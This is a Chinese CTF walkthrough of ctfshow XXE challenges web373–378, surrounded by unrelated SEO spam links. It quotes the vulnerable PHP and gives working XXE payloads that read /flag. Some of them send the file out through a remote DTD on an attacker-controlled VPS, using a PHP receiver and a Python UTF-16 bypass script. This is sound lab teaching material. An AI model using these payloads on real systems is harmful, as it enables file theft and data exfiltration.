当前位置: 首页 > news >正文

企业解决方案网站杭州百度快照优化排名

企业解决方案网站,杭州百度快照优化排名,广州市网络广告推广企业,南京中小企业网站制作什么是xxe? XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容&…

什么是xxe?

XXE,全称XML External Entity Injection,即XML外部实体注入。这是一种针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的XML输入被弱配置的XML解析器处理时,就会发生这种攻击。这种攻击通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

XML是一种用来传输和存储数据的可扩展标记语言,用于标记电子文件使其具有结构性,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

为了防止XXE攻击,应用程序应该正确配置XML解析器,避免解析包含外部实体引用的XML输入,或者对这类输入进行严格的过滤和验证。

web373

先看题

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;echo $ctfshow;
}
highlight_file(__FILE__);    

 

  1. libxml_disable_entity_loader(false);:

    • 默认情况下,libxml_disable_entity_loader 是启用的,它禁用外部实体的加载。这里,它被设置为 false,意味着允许外部实体的加载。这可能带来安全风险,因为它可能允许 XXE (XML External Entity) 攻击。
    • 读取输入:
      • $xmlfile = file_get_contents('php://input');
      • 这行代码从 PHP 的输入流(通常是 POST 请求的主体)中读取内容,并将其存储在 $xmlfile 变量中。
  2. 处理 XML:

    • if(isset($xmlfile)): 确保 $xmlfile 变量已经设置。
    • $dom = new DOMDocument();: 创建一个新的 DOMDocument 对象。
    • $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);: 使用 DOMDocument 的 loadXML 方法来加载 XML 数据。LIBXML_NOENT 和 LIBXML_DTDLOAD 是加载选项,其中 LIBXML_NOENT 会将实体替换为它们的值,而 LIBXML_DTDLOAD 会加载外部 DTD。
    • $creds = simplexml_import_dom($dom);: 使用 simplexml_import_dom 函数将 DOMDocument 对象转换为 SimpleXMLElement 对象,这使得处理 XML 数据更加简单。
    • $ctfshow = $creds->ctfshow;: 从 SimpleXMLElement 对象中提取名为 "ctfshow" 的元素。
    • echo $ctfshow;: 输出 "ctfshow" 元素的值。
  3. highlight_file(__FILE__);:

    • 这行代码将当前文件的内容高亮显示。

构造playload

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>

先抓包,用bp传

web374

先看题

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看

先在宝塔上创建一个站点

创建一个PHP

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

再创建xxe.xml

bp抓包,然后输入

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.xml">
%aaa;
]>
<root>123</root>		

 

然后返回文件页面

就会看到多出来一个文件

web375

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

在上面的基础上过滤了xml,version=1或0

就是把上面的xxe.xml文件改成xxe.dtd

把payload改为

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://<vps-ip>/xxe.dtd">
%aaa;
]>
<root>123</root>

web376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml,version=1或0,和大小写

用上一题payload,依旧可以的

web377

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

发现在之前的基础上过滤了http

那就对其进行utf-16编码

用python(要安装requests库)

import requestsurl = 'http://55a6087a-6b0d-4475-82b4-2cb8b6ff97c1.challenge.ctf.show/'
data = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://101.200.161.174/remote.dtd">
%remote;
%all;
]>
<hack>&send;</hack>"""requests.post(url ,data=data.encode('utf-16'))
print("done!")b

web378

直接构建

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>123</password></user>

http://www.hkea.cn/news/239480/

相关文章:

  • 广西南宁网站设计百度seo算法
  • 网站建设服务怎么样近期国内热点新闻事件
  • 阿里巴巴网站国际站建设seo托管服务
  • 企业网站优化之如何做需求分析网奇seo赚钱培训
  • 施工企业会计制度收入确认规定百度自然排名优化
  • 校园网站建设意义网络营销的特点有哪些
  • 内江做网站哪里便宜google搜索关键词热度
  • 福建省建设银行招聘网站网络推广员压力大吗
  • 动态网站订单怎么做搜索引擎优化营销
  • html5行业网站最近有哪些新闻
  • 做网站业务的怎么寻找客户在哪里打广告效果最好
  • 广东深圳seo服务内容
  • 做网站怎么备案网络服务有限公司
  • 网站主页特效欣赏百度官网下载电脑版
  • php mysql开发网站开发任何小说都能搜到的软件
  • the7 wordpress主题宁波seo外包费用
  • 云南建筑培训网seo刷点击软件
  • 男女做暖网站h5页面制作平台
  • 可以做puzzle的网站百度关键词排名提升工具
  • 竞网网站建设南宁网站seo大概多少钱
  • 114黄页信息网宝鸡seo培训
  • 东南亚做棋牌网站挖掘爱站网
  • 中国工程建设招标网官方网站谷歌查询关键词的工具叫什么
  • wordpress管理员密码忘记成都seo招聘
  • 武汉企业建站系统模板下载官方正版百度
  • 上海做网站国际财经新闻
  • 用废旧盒子做家用物品网站seo排名工具
  • 企业铭做网站域名解析在线查询
  • 怎么注册自己的小程序网站优化分析
  • 荆州网站建设流程网站设计培训